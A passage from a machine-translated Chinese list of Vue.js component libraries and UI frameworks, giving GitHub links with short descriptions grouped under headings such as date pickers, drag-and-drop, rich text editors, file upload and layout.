- [vue-cloneya](https://github.com/ridaamirini/vue-cloneya)- 克隆DOM元素的vue组件
- [Vue调查建设者](https://github.com/FissionHQ/vue-survey-builder)- vue.js应用程序的调查构建器
- [vue-if-bot](https://github.com/Developmint/vue-if-bot)- 基于用户代理隐藏/向客户端显示内容的轻量级组件
- [vue-clampy](https://github.com/clampy-js/vue-clampy)- Vue.js (2+) 指令,如果内部的内容太长,则通过向其添加省略号来限制元素的内容.
- [Vue-cookie的接受,下降](https://github.com/promosis/vue-cookie-accept-decline)- 在页面上显示带有文本,拒绝按钮和接受按钮的横幅. 记住使用cookie选择. 在创建时发出当前选择的事件. 适合GDPR要求.
- [@ lossendae/Vue具象](https://github.com/lossendae/vue-avatar)- VueJS 2.0的头像组件.
- [Vue文本高亮](https://github.com/AlbertLucianto/vue-text-highlight)- Vue.js的文本荧光笔库
- [vue2锤](https://github.com/bsdfzzzy/vue2-hammer)Hammer.js包装为Vue 2.x支持移动触摸..
- [Vue可数](https://github.com/johndatserakis/vue-countable)- countable.js的Vue绑定. 提供实时段落,句子,单词和字符计数.
- [V-展示幻灯片](https://github.com/phegman/v-show-slide)- 一个Vue.js指令,用于在滑动动作中将元素设置为高度和从高度设置动画: auto.
- [Vue碰擦,行动](https://github.com/eCollect/vue-swipe-actions)- Vue.js的iOS样式滑动操作
- [Vue友好的iframe](https://github.com/officert/vue-friendly-iframe)- 用于创建超快加载,非阻塞iframe的Vue js组件.
- [Vue - 美丽聊天](https://github.com/mattmezza/vue-beautiful-chat)- 简单而美观的Vue聊天组件后端不可知,完全可定制和可扩展.
- [Vue,放大镜](https://github.com/zeknoss/vue-magnifier)- Vue.js 2.x的简单图像缩放/放大组件.
- [Vue高亮字](https://github.com/Astray-git/vue-highlight-words)- Vue组件,用于突出显示较大文本中的单词. 来自[反应高亮字](https://github.com/bvaughn/react-highlight-words)
### 标签
- [Vue的选项卡](https://github.com/cristijora/vue-tabs)- 简单的标签和药片.
- [Vue碰擦的选项卡](https://github.com/zhangxiang958/vue-tab)- vue.js (vue2) 的触摸滑动选项卡组件.
- [Vue袢组分](https://github.com/spatie/vue-tabs-component)- 使用Vue显示标签的简便方法.
### 形成
*让用户创建和编辑数据*
#### 可编辑
- [vue-xeditable](https://github.com/Kar-Wai-Wong/vue-xeditable)- Vue Edit中更好的可编辑组件.
#### 选择器
- [Vue光滑选取器](https://github.com/hiyali/vue-smooth-picker)- Vue 2.x的平滑选取器组件,类似于iOS本机日期时间选择器.
#### 发电机
- [Vue-JSON-模式](https://github.com/formschema/native)- 使用JSON Schema和Vue.js生成表单
- [Vue - 真棒形式](https://github.com/fightingm/vue-awesome-form)- 像json-editor一样的vue.js组件
- [Vue发电机](https://github.com/michaellyu/vue-generator)- Vue项目的初始路由器和组件.
##### 日期选择器
*日期/日期时间/时间选择器*
- [Vue,日期选择器](https://github.com/hilongjw/vue-datepicker)-**[没有维护]**带有Vue.js材质设计的日历和日期选择器组件.
- [vue2-timepicker](https://github.com/phoenixwong/vue2-timepicker)-**[没有维护]**Vue 2.x的下拉时间选择器 (小时|分钟|秒) ,支持灵活的时间格式.
- [vuejs,日期选择器](https://github.com/charliekassel/vuejs-datepicker)- 一个简单的Vue.js datepicker组件. 支持禁用日期,内联模式,翻译.
- [vuedt](https://github.com/nkoehring/vuedt)-**[没有维护]**疯狂轻量级 (5.5kb!) Vuejs日期和时间选择器组件具有漂亮的动画而不是太多的模糊.
- [Vue-flatpickr组分](https://github.com/ankurk91/vue-flatpickr-component)Vue.js组件[flatpickr](https://github.com/chmln/flatpickr)日期时间选择器
- [Vue自举-的DateTimePicker](https://github.com/ankurk91/vue-bootstrap-datetimepicker)Vue.js组件[eonasdan自举-的DateTimePicker](https://github.com/Eonasdan/bootstrap-datetimepicker/)
- [Vue-jalaali,日期选择器](https://github.com/pepour/vue-jalaali-datepicker)- vue.js 2的Jalaali日历和日期选择器.
- [Vue,日期选择器](https://github.com/ridewn/vue-date-picker)- 受材料设计启发的vue日期选择器组件
- [Vue每月选取器](https://github.com/ittus/vue-monthly-picker)- 仅适用于月份和年份选择器的Vue.js组件
- [Vue - 酒店 - 日期选择器](https://github.com/krystalcampioni/vue-hotel-datepicker)- 响应日期范围选择器,显示所选的夜数,允许自定义登记/退房规则,阻止日期,本地化支持等.
- [vue2波斯,日期选择器](https://github.com/dyonir/vue2-persian-datepicker)- vue的一个很棒的波斯日期选择器组件. 发布消息تاریخبرایویو.
- [Vue,日期时间](https://github.com/mariomka/vue-datetime)- Vue的移动友好日期时间选择器. 支持日期,日期时间和时间模式,i18n和禁用日期.
- [Vue-rangedate选取器](https://github.com/bliblidotcom/vue-rangedate-picker)- 范围日期选择器,使用简单
- [V2-日期选择器](https://github.com/dwqs/v2-datepicker)- 基于Vue 2.x的简单日期选择器组件.
- [Vue-日期选择本地](https://github.com/weifeiyue/vue-datepicker-local)- Vue2的漂亮的Datepicker组件.
- [Vue-的Airbnb的风格,日期选择器](https://github.com/MikaelEdebro/vue-airbnb-style-datepicker)- Vue日期选择器,具有与流行的AirBnb日期选择器类似的外观和功能. 轻量级,可配置和良好的浏览器支持!
- [Vue - 波斯日期时间选取器](https://github.com/talkhabi/vue-persian-datetime-picker)波斯材料datepicker. 支持日期时间,日期,时间,年份,月份.
- [VCalendar](https://vcalendar.io/)非常可定制且功能强大的日历/日期选择器组件,具有许多功能和良好的文档.
- [@ owumaro / Vue-日期范围选取器](https://github.com/Owumaro/vue-date-range-picker)- 使用Bootstrap 4样式的vue组件,用于选择日期范围
- [Vue,日期选择器的移动](https://github.com/ikarosu/vue-datepicker-mobile)- 适用于vue2的移动友好日期选择器. : cn: 选择一天或一系列日期并根据需要自定义.
#### 选择
- [Vue选](https://github.com/sagalbot/vue-select)- 一个本机Vue.js组件,它提供与Select2类似的功能,而不需要jQuery的开销.
- [Vue,多选](https://github.com/monterail/vue-multiselect)- Vue.js的通用选择/多选/标记组件.
- [STF-Vue选](https://github.com/stfalcon-studio/stf-vue-select)- 最灵活和最自定义的选择Vue2
- [Vue选图像](https://github.com/mazipan/vue-select-image)- Vue 2组件,用于从列表中选择图像
- [@ riophae / Vue-treeselect](https://github.com/riophae/vue-treeselect)- 具有嵌套选项的多选组件,支持Vue.js.
- [@ k186 / PD-选择](https://github.com/k186/pd-select)- 像Vue 2.x的IOS选择器这样的移动UI组件,可以选择您定义的内容.
- [Vue,下拉菜单](https://github.com/mikerodham/vue-dropdowns)- 如果使用vue2.x的对象,则显示选择框的简约且适应性强的方式
- [V-级联](https://github.com/zanseven007/v-cascade)- Vue 2.x级联选择器的一个可爱组件 (支持PC和移动)
- [Vue - 多选](https://github.com/IneoO/vue-multi-select)- 用于为Vue2进行选择/多选的自定义组件.
- [V-区](https://github.com/TerryZ/v-region)- 简单的区域选择器,提供中文行政区划数据.
- [V-请选择数据](https://github.com/TerryZ/v-selectpage)- 功能强大的Vue2选择器,分页列表或表视图,使用标签进行多选,支持i18n和服务器端资源.
#### 滑块
- [Vue滑块组分](https://github.com/NightCatSama/vue-slider-component)- 适用于vue1.x和vue2.x的滑块.
- [Vue圈滑块](https://github.com/devstark-com/vue-circle-slider)- 用于vue2.x的Circle滑块组件.
- [Vue,Netflix的滑块](https://github.com/fanyeh/vue-slider)- 像Netflix一样的滑块.
- [Vue-滑杆](https://github.com/biigpongsatorn/vue-slide-bar)- 非常简单的vue滑杆组件.
- [textra](https://github.com/hosein2398/Textra)- Vue js附加到幻灯片文本.
- [Vue旋钮控制](https://github.com/kramer99/vue-knob-control)- Vue.js的旋钮控制
#### 拖放
- [vuedraggable](https://github.com/SortableJS/Vue.Draggable)- Vue组件允许与View-Model同步进行拖放排序. 基于Sortable.js.
- [vue-dragula](https://github.com/Astray-git/vue-dragula)- 拖放这么简单就好疼.
- [vue2-dragula](https://github.com/kristianmandrup/vue2-dragula)- 一个`vue-dragula`叉子`Vue2`,有很多改进.
- [令人惊叹的DND](https://github.com/hilongjw/vue-dragging)- 带Vue的可排序列表指令.
- [Vue,可拖动调整大小](https://github.com/mauricius/vue-draggable-resizable)- 用于可拖动和可调整大小的元素的Vue2组件.
- [vddl](https://github.com/hejianxian/vddl)- 使用HTML5拖放API修改列表的Vue组件,支持VueJs版本1和2.
- [Vue-拖放](https://github.com/cameronhimself/vue-drag-drop)- HTML5 Drag and Drop API的最小且轻量级的包装器.
- [Vue摆幅](https://github.com/goweiwen/vue-swing)- 可刷卡的界面,如Jelly和Tinder等应用程序中所示.
- [vue-slicksort](https://github.com/Jexordexan/vue-slicksort)- 用于动画,触摸友好,可排序列表的无依赖性mixins集
- [拖动-Vue指令性](https://github.com/IsraelZablianov/draggable-vue-directive)- 一个简单的指令,用于处理任何Vue组件的拖放.
- [Vue光滑,DND](https://github.com/kutlugsahin/vue-smooth-dnd)- 平滑dnd库的Vue包装器. 拖放,可排序的库覆盖许多情况.
- [Vue拖动调整大小](https://github.com/kirillmurashov/vue-drag-resize)- 具有纵横比,反应道具等的可拖动和可调整大小元素的无依赖Vue组件
- [Vue-拖动它,花花公子](https://github.com/Esvalirion/vue-drag-it-dude)- Vue2组件,允许您在任意位置拖动对象.
#### 自动完成
*Autosuggest / autocomplete / typeahead*
- [Vue瞬](https://github.com/santiblanko/vue-instant)- Vue instant允许您轻松创建自定义搜索控件,并为您的vue 2应用程序提供自动建议.
- [V-自动完成](https://github.com/paliari/v-autocomplete)- Vue.js的自动完成组件
- [vue-awesomplete](https://github.com/sandi-racy/vue-awesomplete)- Awesomplete的Vue包装器
- [Vue - 自动完成](https://github.com/charliekassel/vuejs-autocomplete)- 自动完成Vue2. 使用对象或api调用.
- [Vue,自动提示](https://github.com/Educents/vue-autosuggest)- WAI-ARIA完整的Autosuggest组件,具有完全自定义的渲染和样式.
- [V-自动提示](https://github.com/soraino/v-autosuggest)- 一个简单的模块化Vuejs组件,可自动提供来自动态或静态数据查询的输入.
- [自动完成](https://github.com/ieski/AutoComplete)- Vue.js的简单自动完成组件2. \*
- [Vue - 无限自动完成](https://github.com/Attrash-Islam/vue-infinite-autocomplete)- Vue.js 2的Vue infinite-autocomplete包装器. \*
- [Vue-简单建议](https://github.com/KazanExpress/vue-simple-suggest)- Vue.js的简单但功能丰富的自动完成组件
- [V-建议](https://github.com/TerryZ/v-suggest)- 用于输入内容建议的Vue2插件,支持键盘快速选择.
#### 键入选择
*让用户在键入时选择标签/东西*
- [Vue输入标签](https://github.com/matiastucci/vue-input-tag)- Vue.js 2.0输入标签组件.
- [v-distpicker](https://github.com/jcc/v-distpicker)一个灵活的,高度可用的区域选择器,用于挑选Vue.js 2.x的中国省,市和区.
- [vue-img-inputer](https://github.com/waynecz/vue-img-inputer)适用于Vue 2的优雅,高度可自定义的img类型输入
- [Vue-IMG-预览](https://github.com/dameety/vue-image-preview)vue 2中的图像输入预览组件
- [V-图像](https://github.com/vinayakkulkarni/v-image): camera: 输入类型=文件的微小组件 (\<1kb,gzipped)
- [@ voerro / Vue-tagsinput](https://github.com/AlexMordred/vue-tagsinput)一个简单的标签输入Vue.js 2组件与typeahead / autocomplete
#### 选色器
- [Vue色](https://github.com/xiaokaike/vue-color)- 用于素描,Photoshop,Chrome等的Vue颜色选择器.
- [Vue,色板](https://github.com/saintplay/vue-swatches)- 帮助用户挑选漂亮的颜色!
#### 开关
*切换/开/关切换/复选框*
- [Vue开关](https://github.com/drewjbartlett/vue-switches)- 具有主题支持的Vue.js的开/关开关组件.
- [Vue-JS-性按钮](https://github.com/euvl/vue-js-toggle-button)- Vue.js 2.0+切换/切换按钮 - 简单,漂亮,可定制.
- [Vue-复选框无线电](https://github.com/mariomka/vue-checkbox-radio)- Vue组件,可轻松设置复选框和无线电输入的样式.
- [Vue增强检查](https://github.com/Keiwen/vue-enhancedCheck)- 用于重新设计/标记复选框/收音机的Vue组件,包括切换/切换按钮.
- [漂亮-复选框-Vue](https://github.com/hamed-ehtesham/pretty-checkbox-vue)- 实施[漂亮的复选框3](https://lokesh-coder.github.io/pretty-checkbox/) (用于美化复选框和单选按钮的纯CSS库) Vue.js 2.2+的组件.
- [vue2崩溃](https://github.com/roszpun/vue-collapse/)- Vue Collapse是一个灵活的内容切换插件,用于手风琴列表或任何其他条件内容呈现.
#### 屏蔽输入
- [Vue掩蔽输入](https://github.com/niksmr/vue-masked-input)- Vue.js的屏蔽输入组件.
- [Vue文本面罩](https://github.com/text-mask/text-mask)- React,Angular,Ember,Vue和纯JavaScript的输入掩码.
- [Vue-IP输入](https://github.com/lakb248/vue-ip-input)- 由vuejs实现的ip输入.
- [Vue数字](https://github.com/kevinongko/vue-numeric)- 输入字段组件以根据Vue显示货币值.
- [真棒面罩](https://github.com/moip/awesome-mask)- 基于纯粹简单的VanillaJS实现的Mask指令
- [V-钱](https://github.com/vuejs-tips/v-money)- 用于货币的微小 (\<2k gzipped) 输入/指令掩码
- [vue-autonumeric](https://github.com/autoNumeric/vue-autoNumeric)- 包含令人敬畏的Vue.js组件[AutoNumeric](http://autonumeric.org/)输入格式化库
- [Vue,输入掩码](https://github.com/scleriot/vue-inputmask)- Vue.js指令将Robin Herbots的输入掩码库添加到您的输入 (vanilla javascript) .
- [Vue输入数](https://github.com/joseluisq/vue-input-number)- Vue.js 2的自定义输入编号组件.
- [V-unicode的](https://github.com/ndelvalle/v-unicode)- Vue指令,用于通过unicode值限制输入.
- [Vue-切割组分](https://github.com/ankurk91/vue-cleave-component)- Vue.js组件[cleave.js](http://nosir.github.io/cleave.js/)
- [vue-ip](https://github.com/peteringram0/vue-ip)- 具有端口和材料设计支持的IP地址输入
- [Vue-R-掩模](https://github.com/raidan00/vue-r-mask)- 带有类似于javascript正则表达式的模板的指令.
- [Vue输入码](https://github.com/zhouyuexie/vue-input-code)- 基于Vue.js 2.0+验证码输入组件.
- [标签编辑](https://github.com/myokyawhtun/label-edit)- 受到Trello的启发. 单击以显示可编辑输入并返回值更改. 这是一个Vue组件.
- [Vue - jQuery的面膜](https://github.com/ankurk91/vue-jquery-mask)- Vue.js v2.x组件[jQuery Mask插件](https://github.com/igorescobar/jQuery-Mask-Plugin)
- [Vue最面具](https://github.com/vuejs-tips/vue-the-mask)- Vue.js的微小 (\<2k gzipped) 和无依赖性掩码输入
#### 富文本编辑
- [Vue-鹅毛笔编辑器](https://github.com/surmon-china/vue-quill-editor)- Vue2的Quill编辑器组件.
- [Vue-mobiledoc编辑器](https://github.com/alidcastano/vue-mobiledoc-editor)- Vuejs的mobiledoc编辑器组件工具包.
- [vue2介质编辑器](https://github.com/FranzSkuffka/vue-medium-editor)- Vue 2的MediumEditor组件.
- [vue-froala](https://github.com/helpbase/vue-froala)- Froala编辑器的VueJS包装器.
- [Vue-froala所见即所得](https://github.com/froala/vue-froala-wysiwyg)- Froala WYSIWIG HTML编辑器的官方VueJS插件.
- [Vue,在](https://github.com/fritx/vue-at)- Vue的At.js.
- [Vue所见即所得](https://github.com/chmln/vue-wysiwyg)轻量,快速和可扩展的WYSIWYG编辑器
- [vue-trumbowyg](https://github.com/ankurk91/vue-trumbowyg)Vue.js组件[Trumbowyg](http://alex-d.github.io/Trumbowyg/)WYSIWYG编辑器
- [Vue - 佩尔编辑器](https://github.com/CinKon/vue-pell-editor)Vue.js组件[佩尔](https://jaredreich.com/pell)WYSIWYG编辑器
- [Vue-TinyMCE的编辑器](https://github.com/dyonir/vue-tinymce-editor)Vue2的Tinymce编辑器组件.
- [vue-mce](https://github.com/Eazymov/vue-mce)- VueJS的tinymce编辑器组件.
- [Vue2编辑器](https://github.com/davidroyer/vue2-editor)- 使用Vue.js和Quilljs的HTML编辑器
- [vue-codemirror](https://github.com/surmon-china/vue-codemirror)- Vue2的Codemirror组件.
- [Vue - 易TinyMCE的](https://github.com/m3esma/vue-easy-tinymce)- 一个简单而强大的软件包,可以在Vue.js项目中轻松使用tinymce.
- [Vue-高亮输入](https://github.com/SyedWasiHaider/vue-highlightable-input)- 在键入时突出显示文本和样式
#### 图像处理
*编辑图像*
- [Vue芯图像上传](https://github.com/Vanthink-UED/vue-core-image-upload)- 用于裁剪和上传图像的vue插件.
- [vue-croppa](https://github.com/zhanziyang/vue-croppa)- 适用于Vue 2.0的简单易用的可定制轻巧移动友好型图像裁剪器.
- [Vue,佃农](https://github.com/xyxiao001/vue-cropper)- vue2.0的图片剪辑插件
*显示图像*
- [vue-cloudinary](https://github.com/diegopamio/vue-cloudinary)- 一个vue (2.0) 插件,提供可重用的指令以从Cloudinary获取图像 (<https://cloudinary.com>) 具有动态操作 (调整大小/裁剪/效果/水印/缩放/格式化) 和优化 (webp / png /自动质量/自动视网膜) .
- [img-Vuer](https://github.com/ssshooter/img-vuer)- 基于Vue.js移动设备的易于使用的图像查看器.
- [Vue图像加载器](https://github.com/kevindesousa/vue-image-loader)- 像Medium这样的vue loader / progressive图像插件.
#### 上传文件
- [Vue夹](https://github.com/thetutlage/vue-clip)- VueJs简单易用的文件上传器. 支持Vue> = 2.1.
- [Vue - 简单上传](https://github.com/saivarunk/vue-simple-upload)- Vue.js的简单文件上传组件.
- [vue2的多载](https://github.com/abarta/vue2-multi-uploader)- 使用Vue.js v2和Axios的拖放多文件上传器组件. 上传器显示添加的文件的文件名,大小和总大小. 它还允许设置要上载的最小文件数.
- [Vue - 悬浮窗](https://github.com/rowanwins/vue-dropzone)- Dropzone.js的Vue.js (vue2) 组件 - 一个带有图像预览的drag'n'drop文件上传实用程序.
- [Vue,发射](https://github.com/alexsasharegan/vue-transmit)- 基于Dropzone.js的Vue 2.0纯粹的Vue.js拖放上传器组件
- [Vue上传组分](https://github.com/lian-yue/vue-upload-component)- Vue上传组件,多文件上传,上传目录,拖动上传,拖动目录. 支持Vue> = 2.0
- [Vue的上传](https://github.com/simple-uploader/vue-uploader)- 由simple-uploader.js提供支持的Vue.js上传组件
- [IC-火力点,上载](https://github.com/InCuca/ic-firebase-uploader)- 用于Firebase存储的干净多文件上载组件.
- [vuejs-上传](https://github.com/charliekassel/vuejs-uploader)- 用于HUGE文件上传的可恢复多部分文件上传器.
- [vue-filepond](https://github.com/pqina/vue-filepond)- FilePond的Vue.js组件 - 一个文件上传库,可以上传你抛出的任何内容.
- [V-上传](https://github.com/TerryZ/v-uploader)- 一个Vue2插件,使文件上传简单方便,您可以拖动文件或选择对话框中的文件进行上传
#### 上下文菜单
- [Vue上下文菜单](https://github.com/vmaimone/vue-context-menu)- vue js的上下文菜单组件.
- [Vue-律上下文菜单](https://github.com/timwis/vue-lil-context-menu)- Vue的灵活lil上下文菜单组件.
- [Vue鼠标菜单](https://github.com/zgj233/vue-mouse-menu)- vue 2+的鼠标菜单组件.
- [@ hscmap / Vue菜单](https://github.com/michitaro/vue-menu)- vue2的菜单/上下文菜单组件.
- [Vue上下文](https://github.com/rawilk/vue-context)- 一个简单但灵活的vue js上下文菜单.
- [Vue - 简单的上下文菜单](https://github.com/johndatserakis/vue-simple-context-menu)- 为Vue构建的简单上下文菜单组件. 适用于左右键单击.
#### 杂
- [vue-gmaps](https://github.com/ridermansb/vue-gmaps)- 使用Google Maps API搜索地点和地址.
- [vuep](https://github.com/QingWei-Li/vuep)- 使用实时编辑器和预览渲染Vue组件的组件.
- [Vue-地方](https://github.com/Gomah/vue-places)- Places组件基于Vue 2.x的places.js. 将任何输入转换为地址自动完成.
- [Vue密码强度米](https://github.com/apertureless/vue-password-strength-meter)- 密码强度计,基于vue.js中的zxcvbn.
- [Vue浮动标签](https://github.com/bkzl/vue-float-label)- Vue.js的浮动标签图案.
- [Vue,长按](https://github.com/javisperez/vuelongpress)- VueJS (2.x) 按钮组件,要求您按住以确认给定的操作.
- [Vue - 谷歌 - 自动完成](https://github.com/olefirenko/vue-google-autocomplete)- Google Maps Places API的Vue.js (2.x) 自动提示组件.
- [Vue-IP输入](https://github.com/lakb248/vue-ip-input)- Vue.js 2.x的ip输入组件
- [Vue默认值](https://github.com/termosa/vue-default-value)- Vue.js 2.x指令,用于为可编辑元素设置默认值,而不影响模型状态
- [Vue模型,自动设置](https://github.com/outluch/vue-model-autoset)- Vue.js插件,用于在使用v-model指令观察动态添加的属性时解决Vue限制
- [Vue提交](https://github.com/NxtChg/pieces/tree/master/js/vue/vue-submit)- Ladda的简单实现 ([1](http://lab.hakim.se/ladda/),[2](https://msurguy.github.io/ladda-bootstrap/)) 少于90行代码,没有依赖关系.
- [Vue率](https://github.com/SinanMtl/vue-rate)- Vue的费率组件
- [vuetify - 谷歌 - 自动完成](https://github.com/MadimetjaShika/vuetify-google-autocomplete)- 适用于Google Maps Places API的Vuetify ready Vue.js (2.x) 自动提示组件.
- [Vue纹波指令](https://github.com/PygmySlowLoris/vue-ripple-directive)- 作为Vue指令的材料纹波效应.
- [vue-fab](https://github.com/PygmySlowLoris/vue-fab)- Vue浮动动作按钮.
- [vue-complexify](https://github.com/mazipan/vue-complexify)- 来自jquery.complexify.js的Vuejs移植库.
- [vue-mc](https://github.com/FiguredLimited/vue-mc)- Vue.js的模型和集合
- [Vue明星](https://www.tallent.us/vue-stars/)- 高度可定制的评级控制 (使用星标或其他字符)
- [Vue-确认键](https://github.com/imRohan/vue-confirmation-button)- 可自定义的确认按钮,要求用户在执行操作之前阅读消息
- [Vue轮询](https://github.com/ppietris/vue-poll)- 用于投票的Vue.js组件
- [Vue - 图](https://github.com/gwenaelp/vue-diagrams)- vue.js的图表组件,受反应图的启发
- [Vue易民调](https://github.com/updivision/vue-easy-polls)- 用于创建民意调查,投票和显示结果的Vue.js组件. 它易于实现且易于定制.
- [Vue-M-按钮](https://github.com/mengdu/m-button)- vue的漂亮按钮组件.
#### 巫师
- [Vue外形向导](https://github.com/cristijora/vue-form-wizard)- 基于标签的组件,可以取代传统的bootstrap和jQuery表单向导
- [Vue步进](https://github.com/PygmySlowLoris/vue-stepper)- 一个简单的步进器,具有简单的操作,如next,back和end,可以执行简单的表单.
- [Vue步进分量](https://github.com/adi518/vue-stepper-component)- 具有Vuex支持和零依赖性的完全可定制的Stepper组件.
#### CSV
- [vuecsv](https://github.com/ynishi/vuecsv)- 来自json的简单CSV下载器,带有选项模态面板组件.
#### 评论系统
- [Vue注释网格](https://github.com/TugayYaldiz/vue-comment-grid)- 💬响应式Vue.js评论系统插件,使用CSS Grid和Firebase REST API +身份验证构建.
### 帆布
- [vue-easeljs](http://github.com/dankuck/vue-easeljs)- 对HTML5 canvas元素的数据驱动控制.
- [Vue帆布效应](https://github.com/chenxuan0000/vue-canvas-effect)- Vue.js的简单画布效果集合.
- [vue-konva](https://github.com/rafaesc/vue-konva)- Vue&Canvas - 使用Vue绘制复杂画布图形的JavaScript库.
- [vue-html2canvas](https://github.com/mycure-inc/vue-html2canvas)- Vue mixin捕获html并使用Html2Canvas将其转换为图像.
- [Vue帆布巢](https://github.com/ZYSzys/vue-canvas-nest)- canvas-nest的Vue.js组件.
### 链接预览
- [链接预告片](https://github.com/nivaldomartinez/link-prevue)- 灵活的组件,用于生成链接预览.
### 游览
- [Vue游](https://github.com/pulsardev/vue-tour)- 轻量级和可定制的旅游插件
## UI布局
*整体/主视图的布局*
- [Vue瀑](https://github.com/MopTym/vue-waterfall)- Vue.js的瀑布布局组件.
- [vueisotope](https://github.com/David-Desmaisons/Vue.Isotope)- 同位素过滤器的Vue组件和排序神奇的布局.
- [Vue网格布局](https://github.com/jbaysolutions/vue-grid-layout)- Vue.js的可拖动且可调整大小的网格布局.
- [Vue拖动区](https://github.com/surmon-china/vue-drag-zone)- 为Vue.js (2.x) 拖动区域组件.
- [Vue砌体](https://github.com/shershen08/vue-masonry)- 用于砌体砌块布局的Vue.js指令.
- [Vue馏分栅](https://github.com/bkzl/vue-fraction-grid)- 用于Vue.js的基于Flexbox的响应分数网格系统
- [Vue虚拟滚动列表](https://github.com/tangbc/vue-virtual-scroll-list)- vue (2.x) 组件通过使用虚拟滚动列表支持大数据.
- [Vue虚卷轴](https://github.com/Akryum/vue-virtual-scroller)- 用于有效滚动大量元素的组件 (Vue 2.x) .
- [vue-virtualscroll](https://github.com/ddgll/vue-virtualscroll)-[Vue 2.x]组件到虚拟滚动的东西.
- [vue-inview](https://github.com/rachmanzz/vue-inview)-[Vue 2.x]视口,在输入或离开DOM元素时获取通知.
- [DND网](https://github.com/dattn/dnd-grid)- 带有可拖动和可调整大小的盒子的vuejs网格
- [Vue-延伸布局](https://github.com/ktquez/vue-extend-layout)- 扩展默认布局或为Vue.js SPA的页面创建自定义布局
- [Vue - 砖混CSS](https://github.com/paulcollett/vue-masonry-css)- 由CSS提供支持的Vue.js Masonry布局组件,无需依赖
- [vue-fullpage.js](https://github.com/alvarotrigo/vue-fullpage.js)- Vue.js的官方fullPage.js组件.
- [Vue虚拟收集](https://github.com/starkwang/vue-virtual-collection)- 用于有效渲染大型收集数据的Vue组件.
- [autoresponsive-vue](https://github.com/xudafeng/autoresponsive-vue)- Vue的自动响应网格布局库.
- [VueFlex](https://github.com/SeregPie/VueFlex)- 一个flexbox网格系统.
- [v-chacheli](https://gitlab.com/shellyBits/v-chacheli)- Vue.js组件,用于创建和显示自定义仪表板式网格布局.
- [Vue格风格](https://github.com/mattrothenberg/vue-grid-styled)- 一组轻量级的功能网格组件,从React移植而来[格子风格](https://github.com/jxnblk/grid-styled/)
- [简单网](https://github.com/anthinkingcoder/simple-grid)- 用于网格布局的Vue组件,支持flex.
- [Vue容器分量](https://github.com/kavalcante/vue-container-component)- 灵感来自Bootstrap Container的简单容器组件
- [vue-colcade](https://github.com/alexiscolin/vue-colcade)- 用于将Colcade网格布局集成到Vuejs的小包装器.
## 构架
### 响应
*组件集+响应式布局系统*
- [类星体框架](https://github.com/quasarframework/quasar)- 类星体框架. 使用VueJs 2构建响应式网站,混合移动应用程序 (在Android和iOS上看起来是原生的) 和使用相同代码的Electron应用程序.
- [Vue材料](https://github.com/vuematerial/vue-material)- Vue.js的材料设计
- [vuetify](https://github.com/vuetifyjs/vuetify)- Vue.js的Material Component Framework 2.
- [MUSE的UI](https://github.com/museui/muse-ui)- Vue.js的Material Component库2.
- [buefy](https://github.com/rafaelpimpa/buefy)- 基于Bulma框架的组件.
- [元素的UI](https://github.com/ElemeFE/element)- 适用于Web的Vue.js 2.0 UI工具包.
- [Vue-布尔玛组件](https://github.com/vouill/vue-bulma-components)- 使用vue组件轻松使用bulma类语法.
- [iView中的UI](https://www.iviewui.com)- 适用于Web的Vue.js 2.0 UI框架.
- [AT-UI](https://at.aotu.io)- 一款专为桌面应用而设计的清新平板UI套件,采用♥by Vue.js 2.0制作
- [V-语义](https://www.npmjs.com/package/v-semantic)- 实施[语义的UI](https://semantic-ui.com/)为Vue
- [引导-Vue](https://bootstrap-vue.github.io)- 实施[引导-4](https://getbootstrap.com/)Vue.js的网格和组件2.
- [鱼UI](https://myliang.github.io/fish-ui)- 适用于Web的Vue.js 2.0 UI工具包
- [zircle的UI](https://zircleui.github.io/docs/)- 用于开发可缩放用户界面的前端库.
- [Vue-MDC适配器](https://github.com/stasson/vue-mdc-adapter)- 根据MDC Team的Vue.js的Material Components集成[方针](https://github.com/material-components/material-components-web/blob/master/docs/integrating-into-frameworks.md).
- [材料成分Vue](https://github.com/matsp/material-components-vue)- 包装[材料成分的web](https://github.com/material-components/material-components-web)为Vue.js
- [PrimeVue](https://github.com/primefaces/primevue)- 用于Web的Vue.js 2.0 UI组件库
- [vuesax](https://github.com/lusaxweb/vuesax)- Vue.js的前端vue组件
- [vuecidity](https://bitbucket.org/acidmartin/vuecidity)- Vue.js 2.0的UI组件框架
- [蚂蚁设计Vue](https://github.com/vueComponent/ant-design-vue)- 基于Ant Design和Vue 2.5.0的企业级UI组件
- [heyui](https://github.com/heyui/heyui)- (<https://www.heyui.top/en>) - 用于Web的Vue.js 2.0 UI工具包.
- [Carvue.js](https://carvuejs.github.io/)- IBM的Vue.js碳设计系统
- [BalmUI](https://material.balmjs.com/)- Vue.js的下一代材质UI
### 移动
*移动用户界面框架*
- [Framework7-Vue公司](https://github.com/framework7io/framework7)- 使用Framework7和Vue构建功能齐全的iOS和Android应用程序.
- [vux](https://github.com/airyland/vux)-[中文]Vue UI组件基于WeUI.
- [vue-onsenui](https://github.com/OnsenUI/OnsenUI)- 使用HTML5和JavaScript的移动应用开发框架和SDK. 创建漂亮且高性能的跨平台移动应用程序. 基于Web组件,并为Angular 1,2,React和Vue.js提供绑定.
- [Weex](https://weex.incubator.apache.org/)- Weex提供发布跨平台的功能,因此Web,Android和IOS应用程序可以使用相同的API开发功能.
- [weex-性爱](https://github.com/bmfe/eros-template)-[中文]Eros是一个基于Weex和Vue的应用程序解决方案,它使您能够使用Vue API,简单快速地开发中小型应用程序.
### 组件集合
*没有布局系统的组件集*
- [vue-mdc](https://github.com/posva/vue-mdc)- Vue.js的Material Components Web.
- [敏锐的UI](https://github.com/JosephusPaye/Keen-UI)- 使用Vue编写的基本UI组件的轻量级集合,其灵感来自Material Design.
- [Vue管理员](https://github.com/vue-bulma/vue-admin)- Vue管理面板框架,由Vue 2.0和Bulma 0.3提供支持.
- [vuikit](https://github.com/vuikit/vuikit)- 具有Vue所有功能的UIkit.
- [uiv](https://github.com/wxsms/uiv)由Vue2实现的Bootstrap3组件.
- [yuche / Vue表带](https://github.com/yuche/vue-strap)- 使用Vue.js 1构建的Bootstrap 3组件
- [wffranco / Vue表带](https://github.com/wffranco/vue-strap)- 使用Vue.js 2构建的Bootstrap 3组件
- [N3组件](https://github.com/N3-components/N3-components)- 使用Vue 2构建的漂亮Web组件
- [jsmod-vue-pc](https://github.com/chaogao/jsmod-pc-vue)- 适用于vue 2.0的高度可扩展的Web组件
- [guilhermewaess / SemVue](https://github.com/guilhermewaess/SemVue)- 使用Vue 2实现的Semantic-ui模块
